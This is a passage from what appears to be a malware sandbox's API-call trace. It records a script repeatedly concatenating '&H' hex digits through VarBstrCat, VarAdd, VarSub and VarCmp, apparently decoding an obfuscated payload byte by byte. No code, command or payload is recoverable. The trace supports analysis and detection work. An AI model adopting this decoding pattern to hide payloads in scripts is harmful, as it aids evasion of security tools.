pvarResult=0x197b00) returned 0x0 [0106.917] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.917] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.917] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.917] VarBstrCat (in: bstrLeft="&Hc", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.917] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.918] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.918] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.918] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.918] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.918] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.918] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.918] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.918] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.918] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.919] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.919] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.919] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.919] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.919] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.919] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.919] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.919] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.920] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.920] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.920] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.920] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.920] VarBstrCat (in: bstrLeft="&H9", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.920] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.921] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.921] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.921] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.921] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.921] VarBstrCat (in: bstrLeft="&Hc", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.921] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.921] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.921] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.921] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.922] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.922] VarBstrCat (in: bstrLeft="&Hb", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.922] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.922] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.922] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.922] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.922] VarBstrCat (in: bstrLeft="&H0", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.922] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.923] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.923] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.923] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.923] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.923] VarBstrCat (in: bstrLeft="&H8", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.923] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.923] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.924] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.924] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.924] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.924] VarBstrCat (in: bstrLeft="&Hf", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.924] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.924] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.924] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.924] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.924] VarBstrCat (in: bstrLeft="&H9", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.924] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.925] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.925] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.925] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.925] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.925] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.925] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.925] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.926] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.926] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.926] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.926] VarBstrCat (in: bstrLeft="&Hb", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.926] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.926] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.926] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.926] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.926] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.927] VarBstrCat (in: bstrLeft="&H0", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.927] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.927] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.927] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.927] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.927] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.927] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.928] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.928] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.928] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.928] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.928] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.928] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.928] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.928] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.928] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.928] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.928] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.928] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.929] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.929] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.929] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.929] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.929] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.929] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarBstrCat (in: bstrLeft="&Hf", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.929] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0106.930] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.930] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.930] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.930] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.930] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, 